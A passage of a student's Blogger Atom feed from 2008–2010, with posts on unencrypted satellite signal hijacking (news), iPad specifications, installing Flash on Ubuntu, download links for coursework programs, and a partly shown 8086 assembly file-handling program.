else.&lt;/p&gt;&lt;p&gt;What makes his attacks possible, Nve says, is that DVB signals are usually left unencrypted. That lack of simple security, he says, stems from the logistical and legal complications of scrambling the signal, which might make it harder to share data among companies or agencies and--given that a satellite signal covers many countries--could run into red tape surrounding international use of cryptography. "Each [country] can have its own law for crypto," says Nve. "It's easier not to have encryption at the DVB layer."&lt;/p&gt;&lt;p&gt;Nve isn't the first to show the vulnerability of supposedly secure satellite connections. John Walker, a British satellite enthusiast, told the BBC in 2002 that he could watch unencrypted NATO video feeds from surveillance sorties in the Balkans. And the same lack of encryption allowed insurgents to hack into the video feed of unmanned U.S. drone planes scouting Afghanistan, the &lt;em&gt;Wall Street Journal &lt;/em&gt;reported in December. &lt;/p&gt;&lt;p&gt;In fact, the techniques that Nve demonstrated are probably known to other satellite hackers but never publicized, says Jim Geovedi, a satellite security researcher and consultant with the firm Bellua in Indonesia. He compares satellite hacking to early phone hacking or "phreaking," a practice that's not well protected against but performed by only a small number of people worldwide. "This satellite hacking thing is still considered blackbox knowledge," he wrote in an e-mail to Forbes. "I believe there are many people out there who conduct similar research. They may have some cool tricks but have kept them secret for ages."&lt;/p&gt;&lt;p&gt;At last year's Black Hat D.C. conference, British cybersecurity researcher Adam Laurie demonstrated how he intercepts satellite signals with techniques similar to Nve, using a DreamBox satellite receiver and Wireshark. But Nve argues that his method is far cheaper--Laurie's DreamBox setup cost around $750--and that he's the first to demonstrate satellite signal hijacking rather than mere interception. &lt;/p&gt;"I'm not just talking about watching TV," says Nve. "I'm talking about doing some very scary things."&lt;span style='position: absolute; left: -999em; height: 0pt; width: 0pt;' id='yahooBuzzBadge-0jkvbm'/&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=811daaf5-65fd-8bba-9fbd-affeec1de082' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-7531944381948966788?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/7531944381948966788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=7531944381948966788' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/7531944381948966788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/7531944381948966788'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/how-to-hack-sky.html' title='How To Hack The Sky'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-8109606048084108093</id><published>2010-02-07T05:50:00.001-08:00</published><updated>2010-02-07T05:50:32.633-08:00</updated><title type='text'>iPad (Apple Tablet) Details</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;Rumors, rumors, rumors. That was all one would get while searching for the Apple Tablet. It was revealed yesterday by Steve Jobs who confirmed that the tablet will be named iPad. The name resemblance is not the only similarity to Apple’s overly successful branch of gadgets. The show yesterday revealed lots of information about the iPad and we have collected them for you to help you get an overview of what it can and cannot do.&lt;/p&gt;&lt;p&gt;Let us start with the pricing for the device. The announcement that the cheapest model of the iPad would cost $499 was a surprise to many who expected the tablet to start at $799 or even more than that.&lt;/p&gt;&lt;p&gt;&lt;span id='more-22627'/&gt;But $499 has some severe limitations. It comes with a 16 Gigabyte SSD drive and no 3G. The 32 and 64 Gigabyte iPad models retail for $599 respectively $699 but they too come without 3G. 3G costs $130 on top of this which means that the price span for the iPad ranges from $499 for the basic iPad without 3G to $829 for the 64 Gigabyte hard drive iPad with 3G.&lt;/p&gt;&lt;p&gt;&lt;img width='413' height='500' class='alignnone size-medium wp-image-22628' title='apple ipad' alt='' src='http://www.ghacks.net/wp-content/uploads/2010/01/apple_ipad-413x500.png'/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Dimensions and weight:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Height: 9.56 inches (242.8 mm)&lt;/li&gt;&lt;li&gt;Width: 7.47 inches (189.7 mm)&lt;/li&gt;&lt;li&gt;Depth: 0.5 inch (13.4 mm)&lt;/li&gt;&lt;li&gt;Weight: 1.5 pounds (.68 kg) Wi-Fi model, 1.6 pounds (.73 kg) Wi-Fi + 3G model&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;iPad Hardware specs:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;9.7-inch (diagonal) LED-backlit glossy widescreen Multi-Touch display with IPS technology, 1024-by-768-pixel resolution at 132 pixels per inch (ppi)&lt;/li&gt;&lt;li&gt;Processor: 1GHz Apple A4 custom-designed, high-performance, low-power system-on-a-chip&lt;/li&gt;&lt;li&gt;Battery: Built-in 25Whr rechargeable lithium-polymer battery ,Up to 10 hours of surfing the web on Wi-Fi, watching video, or listening to music (according to Apple)&lt;/li&gt;&lt;li&gt;Wi-Fi model: Wi-Fi (802.11 a/b/g/n), Bluetooth 2.1 + EDR technology&lt;/li&gt;&lt;li&gt;Wi-Fi + 3G model: UMTS/HSDPA (850, 1900, 2100 MHz), GSM/EDGE (850, 900,1800, 1900 MHz), Data only2, Wi-Fi (802.11 a/b/g/n), Bluetooth 2.1 + EDR technology&lt;/li&gt;&lt;li&gt;Input / Output: Dock connector, 3.5-mm stereo headphone jack, Built-in speakers, Microphone, SIM card tray (Wi-Fi + 3G model only)&lt;/li&gt;&lt;li&gt;Viewable document types (mail attachments): .jpg, .tiff, .gif (images); .doc and .&lt;a href='http://www.ghacks.net/2007/12/10/ways-to-open-office-docx-documents/'&gt;docx&lt;/a&gt; (Microsoft Word); .htm and .html (web pages); .key (Keynote); .numbers (Numbers); .pages (Pages); .pdf (Preview and Adobe Acrobat); .ppt and .pptx (Microsoft PowerPoint); .txt (text); .rtf (rich text format); .vcf (contact information); .xls and .xlsx (Microsoft Excel)&lt;/li&gt;&lt;li&gt;H.264 video up to 720p, 30 frames per second, Main Profile level 3.1 with AAC-LC audio up to 160 Kbps, 48kHz, stereo audio in .m4v, .mp4, and .mov file formats; MPEG-4 video, up to 2.5 Mbps, 640 by 480 pixels, 30 frames per second, Simple Profile with AAC-LC audio up to 160 Kbps, 48kHz, stereo audio in .m4v, .mp4, and .mov file formats&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;What speaks for the iPad? Its design obviously which is something that Apple seems to be very capable of doing right. Support for the all apps that are currently offered in the App Store.&lt;/p&gt;&lt;p/&gt;&lt;div class='youtube-video'&gt;&lt;object width='480' height='295'&gt;&lt;param value='http://www.youtube.com/v/HJEqCZY_PwM&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;' name='movie'&gt; &lt;/param&gt;&lt;param value='true' name='allowFullScreen'&gt; &lt;/param&gt;&lt;param value='always' name='allowscriptaccess'&gt; &lt;/param&gt;&lt;embed width='480' height='295' allowfullscreen='true' allowscriptaccess='always' type='application/x-shockwave-flash' src='http://www.youtube.com/v/HJEqCZY_PwM&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;'&gt; &lt;/embed&gt; &lt;/object&gt;&lt;/div&gt;&lt;p/&gt;&lt;p&gt;&lt;strong&gt;What the iPad does not offer:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Connectivity is bad. It does not have one USB port nor the possibility to use an adapter for better hardware support. That means no external hard drives (buy the more expensive devices if you need more space), no card readers to automatically upload the previous photos from your kid’s last birthday and no functionality for devices that can only be connected with wires (most printers for example).&lt;/li&gt;&lt;li&gt;No Flash. the iPad does not support flash much like the iPhone which makes it less usable for web surfing, especially for entertainment hungry folks&lt;/li&gt;&lt;li&gt;No Camera. No camera, no webcam means no video and webcam chat.&lt;/li&gt;&lt;li&gt;3G costs extra. If you want 3G you have to pay an extra fee of. To be precise it will cost $130 in the US&lt;/li&gt;&lt;li&gt;Fixed battery that cannot be replaced by the user&lt;/li&gt;&lt;li&gt;No optical drive which means no option to view movies or access files this way&lt;/li&gt;&lt;li&gt;multitasking&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;The unknown&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Which formats can be read by the iPad once they are on the hard drive. Are those the same formats that are supported to be viewed as mail attachments?&lt;/li&gt;&lt;li&gt;Will there be DRM?&lt;/li&gt;&lt;/ul&gt;There you have it. The iPad is there and it seems that while some users cannot wait to get their hands on the stylish tablet computer others are wary and prefer to wait for the soon to be released iPad 3G instead&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=05d95b9e-6743-8d36-8848-da3044e3b64b' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-8109606048084108093?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/8109606048084108093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=8109606048084108093' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8109606048084108093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8109606048084108093'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/ipad-apple-tablet-details.html' title='iPad (Apple Tablet) Details'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-8451741820522944697</id><published>2010-02-07T05:49:00.001-08:00</published><updated>2010-02-07T05:49:11.654-08:00</updated><title type='text'>Installing Flash in Ubuntu 9.04 with Firefox</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;If you’ve spent enough time over the years with Linux you know that the browser plug-in has been a source of agony for many. When plugins first became a necessity for browsing Linux was at an “early” age and adding these plugins was truly a nightmare.&lt;p&gt;That was then, this is now. During my first trials with Ubuntu 9.04 I discovered just how far the installation of browser plugins has come. This article will illustrate to you this fact.&lt;/p&gt;&lt;p&gt;&lt;span id='more-12570'/&gt;Ideally, of course, the distribution would ship with all of the necessary plugins installed. By default there are a number of plugins already for you:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Demo Print&lt;/li&gt;&lt;li&gt;DivX&lt;/li&gt;&lt;li&gt;Quicktime&lt;/li&gt;&lt;li&gt;VLC (handles many media formats)&lt;/li&gt;&lt;li&gt;Windows Media Player&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;But the number one plugin is still missing. Why? The reason for flash missing is because there are actually three different flash plugins you can install. One is the official Adobe plugin and the other two are open source versions. Although I am a big supporter of open source software, both open source flash plugins are still in their infancy and are not yet up to par with the official version. I made the mistake of installing one of the open source versions and had to uninstall so I could get the official version.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;How to install&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;As is typical for Linux, there are a number of ways to install the flash plugin. You can download the plugin from the &lt;a target='_blank' href='http://get.adobe.com/flashplayer/?promoid=BUIGP' title='Adobe'&gt;Adobe site&lt;/a&gt;. You could open up a terminal window and issue the command:&lt;/p&gt;&lt;p&gt;sudo apt-get install flashplugin-installer&lt;/p&gt;&lt;p&gt;You could open up Synaptic (Add/Remove Software utility) and search for adobe and select “flashplugin-installer”.&lt;/p&gt;&lt;p&gt;Or you could browse to a web site that requires Flash.&lt;/p&gt;&lt;p&gt;The latter is the easiest and reliable.&lt;/p&gt;&lt;div style='width: 374px;' class='wp-caption alignleft' id='attachment_12569'&gt;&lt;a href='http://www.ghacks.net/wp-content/uploads/2009/05/flash1.png'&gt;&lt;img width='364' height='68' alt='Figure 1' src='http://www.ghacks.net/wp-content/uploads/2009/05/flash1.png' class='size-full wp-image-12569'/&gt;&lt;/a&gt;&lt;p class='wp-caption-text'&gt;Figure 1&lt;/p&gt;&lt;/div&gt;&lt;p&gt;When you go to a site that requires flash you will see a bar appear with a button on the right side labeled “Install Missing Plugins” (see Figure 1). Click that button and a new window will open (see Figure 2). This new window asks you to choose which flash player you want to install. There are three choices:&lt;/p&gt;&lt;div style='width: 371px;' class='wp-caption alignright' id='attachment_12571'&gt;&lt;a href='http://www.ghacks.net/wp-content/uploads/2009/05/flash_choice.png'&gt;&lt;img width='361' height='240' alt='Figure 2' src='http://www.ghacks.net/wp-content/uploads/2009/05/flash_choice.png' class='size-full wp-image-12571'/&gt;&lt;/a&gt;&lt;p class='wp-caption-text'&gt;Figure 2&lt;/p&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Swfdec: The GNOME version of the flash player&lt;/li&gt;&lt;li&gt;Adobe Flash Player: Official version&lt;/li&gt;&lt;li&gt;Gnash: GNU SWF player&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Choose the Adobe version and click Next. You will then be warned that the Adobe Flash Player will download and install another application. This is okay. You will be required to enter your user password to continue.&lt;/p&gt;&lt;p&gt;Once the installation has finished you will need to click the Finish button.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Check the installation&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;After the installation is complete you can check it by opening up the plugins page. Do this by typing &lt;em&gt;about:plugins&lt;/em&gt; in the address bar. In this page you will see all installed plugins listed. The first one listed should be the most recently installed, which will be flash.&lt;/p&gt;&lt;p&gt;Using this method does not require you to restart &lt;a href='http://www.ghacks.net/tag/firefox/'&gt;Firefox&lt;/a&gt;. You have completed the process of installing the Adobe Flash plugin for Firefox.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Final thoughts&lt;/strong&gt;&lt;/p&gt;If you have any history with Linux then you know how much of a relief it is to be able to install browser plugins so easily. If you have any interest in using the open source version of these plugins, give them a try. You can uninstall them by looking at the about:plugins page to know which version you have installed. When you know which plugin you have installed search for it in Synaptic and remove it. Once removed you can go through the process of installing through Firefox again.&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=d18f40c2-ad7b-80be-850c-d02748508c64' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-8451741820522944697?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/8451741820522944697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=8451741820522944697' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8451741820522944697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8451741820522944697'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/installing-flash-in-ubuntu-904-with.html' title='Installing Flash in Ubuntu 9.04 with Firefox'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-8479538896704537874</id><published>2009-11-06T10:28:00.000-08:00</published><updated>2009-11-06T10:30:38.192-08:00</updated><title type='text'>ALL CL Prograsm</title><content type='html'>i am uploading all the programs for the CL1  practicals for veryone to study&lt;br /&gt;these are the corrent and running programs&lt;br /&gt;&lt;br /&gt;http://rapidshare.com/files/303286744/os.zip.html&lt;br /&gt;&lt;br /&gt;http://rapidshare.com/files/303286745/pcd.zip.html&lt;br /&gt;&lt;br /&gt;http://rapidshare.com/files/303286746/daa.zip.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-8479538896704537874?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/8479538896704537874/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=8479538896704537874' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8479538896704537874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8479538896704537874'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2009/11/all-cl-prograsm.html' title='ALL CL Prograsm'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-4405051533336624756</id><published>2009-11-03T20:00:00.000-08:00</published><updated>2009-11-03T20:01:52.761-08:00</updated><title type='text'>RVPL PRACTS</title><content type='html'>http://rapidshare.com/files/302140186/rvpl.exe.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-4405051533336624756?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='text/html' href='http://rapidshare.com/files/302140186/rvpl.exe.html' length='0'/><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/4405051533336624756/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=4405051533336624756' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4405051533336624756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4405051533336624756'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2009/11/rvpl-practs.html' title='RVPL PRACTS'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-3214200259772109720</id><published>2009-05-06T11:58:00.000-07:00</published><updated>2009-05-06T11:59:04.764-07:00</updated><title type='text'>RVPL</title><content type='html'>http://rapidshare.com/files/229917418/rv.exe.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-3214200259772109720?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/3214200259772109720/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=3214200259772109720' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/3214200259772109720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/3214200259772109720'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2009/05/rvpl.html' title='RVPL'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-8758881553400969109</id><published>2008-11-05T07:49:00.000-08:00</published><updated>2008-11-05T07:51:11.587-08:00</updated><title type='text'>alll programs</title><content type='html'>http://rapidshare.de/files/40841147/hl1.exe.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-8758881553400969109?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/8758881553400969109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=8758881553400969109' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8758881553400969109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8758881553400969109'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2008/11/alll-programs.html' title='alll programs'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-5827055438710121434</id><published>2008-11-05T07:42:00.000-08:00</published><updated>2008-11-05T07:43:27.311-08:00</updated><title type='text'>file-open create</title><content type='html'>.model small&lt;br /&gt;&lt;br /&gt;.data                                 ;DATA SEGMENT&lt;br /&gt;&lt;br /&gt;segm dw 00h&lt;br /&gt;&lt;br /&gt;CNT DW 00H&lt;br /&gt;&lt;br /&gt;fname db '                              $'&lt;br /&gt;&lt;br /&gt; buff db 100 dup(?)&lt;br /&gt; msg1 db 10,13," FILE CREATED SUCCESSFULLY  !!!   $"&lt;br /&gt; msg db 10,13," FILEIDS NOT  CREATED   !!!   $"&lt;br /&gt; msg2 db 10,13," TYPE THE TEXT AND PRESS @ TO STOP  :$"&lt;br /&gt; MSG4 DB 0AH,0DH,"$"&lt;br /&gt; msg7  db 10,13," FILE CAN NOT BE READED        !!! :$"&lt;br /&gt; msg8  db 10,13," FILE CAN NOT BE CLOSED        !!! :$"&lt;br /&gt; msg6  db 10,13," FILE CAN NOT BE OPENED        !!! :$"&lt;br /&gt; msg9  db 10,13," FILE CAN NOT BE CREATED       !!! :$"&lt;br /&gt; msg10 db 10,13," READ FILE IS AS FOLLOWS      !!! :$"&lt;br /&gt; msg12 db 10,13," $"&lt;br /&gt; FBUF DB ?&lt;br /&gt; MENU  db 10,13,"_________________________ MENU ____________________________"&lt;br /&gt;       db 10,13,"   "&lt;br /&gt;       db 10,13,"1] CREATE FILE "&lt;br /&gt;       db 10,13,"2] WRITE IN FILE "&lt;br /&gt;       db 10,13,"3] READ FILE "&lt;br /&gt;       db 10,13,"4] EXIT        "&lt;br /&gt;       db 10,13," "&lt;br /&gt;       db 10,13,"PLEASE NETER YOUR CHOICE :$"&lt;br /&gt;&lt;br /&gt;  WRNG db 10,13,"WRONG CHOICE !!$"&lt;br /&gt;  CHOICE DB 00H&lt;br /&gt;&lt;br /&gt;.code                                ;CODE SEGMENT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;start:                               &lt;br /&gt;       mov ax,@data                  &lt;br /&gt;       mov ds,ax                     &lt;br /&gt;&lt;br /&gt;                                     ;GET PSP SEGMENT ADDRESS&lt;br /&gt;       mov ah,62h&lt;br /&gt;       int 21h&lt;br /&gt;       mov es,bx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       mov si,80h&lt;br /&gt;       mov cl,es:[si]&lt;br /&gt;       mov ch,00                                                                                                                                                    &lt;br /&gt;       dec cl&lt;br /&gt;       inc si&lt;br /&gt;       inc si&lt;br /&gt;       lea di,fname&lt;br /&gt;&lt;br /&gt;  back:mov bl,es:[si]&lt;br /&gt;       mov ds:[di],bl&lt;br /&gt;       inc di&lt;br /&gt;       inc si&lt;br /&gt;       dec cl&lt;br /&gt;       jnz back&lt;br /&gt;       mov cl,00h                   &lt;br /&gt;       mov ds:[di],cl                ;STORE FILENAME IN "FNAME" BUFFER&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MAIN:  LEA DX,MENU&lt;br /&gt;       MOV AH,09H&lt;br /&gt;       INT 21H&lt;br /&gt;&lt;br /&gt;       MOV AH,01H                     ;ACCEPT CHOICE&lt;br /&gt;       INT 21H&lt;br /&gt;&lt;br /&gt;       MOV CHOICE,AL&lt;br /&gt;&lt;br /&gt;       CMP CHOICE,31H&lt;br /&gt;       JE CRE&lt;br /&gt;&lt;br /&gt;       CMP CHOICE,32H&lt;br /&gt;       JE WR&lt;br /&gt;&lt;br /&gt;       CMP CHOICE,33H&lt;br /&gt;       JE RD&lt;br /&gt;&lt;br /&gt;       CMP CHOICE,34H&lt;br /&gt;       JE END11&lt;br /&gt;&lt;br /&gt;       LEA DX,WRNG&lt;br /&gt;       MOV AH,09H&lt;br /&gt;       INT 21H&lt;br /&gt;       &lt;br /&gt;       JMP MAIN&lt;br /&gt;&lt;br /&gt;CRE:    call create&lt;br /&gt;        JMP MAIN&lt;br /&gt;&lt;br /&gt;WR:&lt;br /&gt;       call write&lt;br /&gt;&lt;br /&gt;       CALL CLOSE&lt;br /&gt;       JMP MAIN&lt;br /&gt;&lt;br /&gt;RD:    CALL OPEN&lt;br /&gt;       CALL READ &lt;br /&gt;       JMP MAIN&lt;br /&gt;&lt;br /&gt;END11:JMP END1&lt;br /&gt;&lt;br /&gt;                                    ;PROCEDURE TO CREATE FILE&lt;br /&gt;CREATE PROC&lt;br /&gt;&lt;br /&gt;       mov ah,3ch                   ; FUNCTION TO CREATE FILE&lt;br /&gt;       lea dx,fname       &lt;br /&gt;       mov cx,00h&lt;br /&gt;       int 21h&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       jc eRR4&lt;br /&gt;&lt;br /&gt;       mov segm,ax&lt;br /&gt;       mov ah,09h&lt;br /&gt;       lea dx,MSG12&lt;br /&gt;       int 21h&lt;br /&gt;                                    ; SUCCESSFUL FILE CREATED&lt;br /&gt;       mov ah,09h&lt;br /&gt;       lea dx,MSG1&lt;br /&gt;       int 21h&lt;br /&gt;       RET&lt;br /&gt;                                    ; ERROR IN FILE CREARION&lt;br /&gt;ERR4:  mov ah,09h    &lt;br /&gt;       lea dx,MSG9&lt;br /&gt;       int 21h&lt;br /&gt;       ret&lt;br /&gt;&lt;br /&gt;CREATE ENDP&lt;br /&gt;&lt;br /&gt;                                    ; PROCEDURE TO WRITE IN TO FILE&lt;br /&gt;WRITE PROC&lt;br /&gt;&lt;br /&gt;       mov ah,09h&lt;br /&gt;       lea dx,MSG2&lt;br /&gt;       int 21h&lt;br /&gt;&lt;br /&gt;       mov ah,09h&lt;br /&gt;       lea dx,MSG12&lt;br /&gt;       int 21h&lt;br /&gt;&lt;br /&gt;       LEA DI,BUFF&lt;br /&gt;       MOV BX,0000H&lt;br /&gt;       MOV AX,0000H&lt;br /&gt;UP:   MOV AH,01H&lt;br /&gt;      INT 21H&lt;br /&gt;&lt;br /&gt;      CMP AL,0DH&lt;br /&gt;      JNE UP2&lt;br /&gt;                &lt;br /&gt;       MOV AH,02&lt;br /&gt;       MOV DL,0AH&lt;br /&gt;       INT 21H&lt;br /&gt;&lt;br /&gt;       MOV DL,0DH&lt;br /&gt;       INT 21H&lt;br /&gt;                  &lt;br /&gt;      MOV DL,0AH&lt;br /&gt;      MOV [DI],DL&lt;br /&gt;      INC DI&lt;br /&gt;      INC BX&lt;br /&gt;&lt;br /&gt;      MOV DL,0DH&lt;br /&gt;      MOV [DI],DL&lt;br /&gt;      INC DI&lt;br /&gt;      INC BX&lt;br /&gt;&lt;br /&gt;UP2:  CMP AL,'@'&lt;br /&gt;      JE STOP&lt;br /&gt;&lt;br /&gt;      MOV [DI],AL&lt;br /&gt;      INC DI&lt;br /&gt;      INC BX&lt;br /&gt;      JMP UP&lt;br /&gt;                                    ; WRITE IN TO FILE&lt;br /&gt;STOP :  MOV AL,0&lt;br /&gt;        INC BX&lt;br /&gt;        MOV [DI],AL&lt;br /&gt;                                    ; FUNCTION TO WRITE FILE&lt;br /&gt;        MOV AH,40H&lt;br /&gt;        MOV CNT,BX&lt;br /&gt;        MOV BX,SEGM&lt;br /&gt;        LEA DX,BUFF&lt;br /&gt;        MOV CX,CNT&lt;br /&gt;        INT 21H        &lt;br /&gt;RET&lt;br /&gt;&lt;br /&gt;WRITE ENDP&lt;br /&gt;&lt;br /&gt;OPEN PROC&lt;br /&gt;                                    ; FUNCTION TO OPEN FILE&lt;br /&gt;          MOV AH,3DH&lt;br /&gt;          LEA DX,FNAME&lt;br /&gt;          MOV AL,0&lt;br /&gt;          INT 21H                   ; 0 FOR NORMAL MODE&lt;br /&gt;&lt;br /&gt;          JC ERR3&lt;br /&gt;          MOV SEGM,AX&lt;br /&gt;&lt;br /&gt;          RET&lt;br /&gt;&lt;br /&gt;    ERR3 :LEA DX,MSG6&lt;br /&gt;          MOV AH,09H&lt;br /&gt;          INT 21H &lt;br /&gt;&lt;br /&gt;          RET&lt;br /&gt;&lt;br /&gt;OPEN ENDP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;READ PROC                           ; 